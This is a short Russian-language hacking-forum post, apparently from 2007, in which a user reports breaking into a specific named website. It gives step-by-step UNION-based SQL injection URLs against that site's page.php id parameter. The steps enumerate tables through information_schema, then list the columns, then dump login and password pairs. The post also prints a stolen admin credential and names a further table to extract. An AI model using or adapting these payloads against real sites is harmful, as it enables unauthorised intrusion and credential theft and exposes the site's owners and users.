|
Постоянный
Регистрация: 17.03.2007
Сообщений: 336
С нами:
10080326
Репутация:
576
|
|
Fata1ex, хекед
Узнаём имя БД и таблицу
Код:
http://et.igwane.be/page.php?id=-7+union+select+1,2,3,concat(table_schema,char(58),table_name),5,6,7,8,9,10,11+from+information_schema.columns+where+column_name=0x6c6f67696e+limit+2,1/*
igwane_be_5.members
Узнаём столбцы
Код:
http://et.igwane.be/page.php?id=-7+union+select+1,2,3,column_name,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x6D656D62657273+limit+3,1/*
login,password
Ну и хек
Код:
http://et.igwane.be/page.php?id=-7+union+select+1,2,3,concat(login,0x3a,password),5,6,7,8,9,10,11+from+igwane_be_5.members/*
admin:exuifoLgJGROk
Есть ещё таблица igwane_be_3.eck_user
Код:
http://et.igwane.be/page.php?id=-7+union+select+1,2,3,concat(login,0x3a,password),5,6,7,8,9,10,11+from+igwane_be_3.eck_user+limit+1,1/*
С помощью https://forum.antichat.ru/showpost.php?p=401199&postcount=18
Последний раз редактировалось v1ru$; 03.12.2007 в 13:20..
|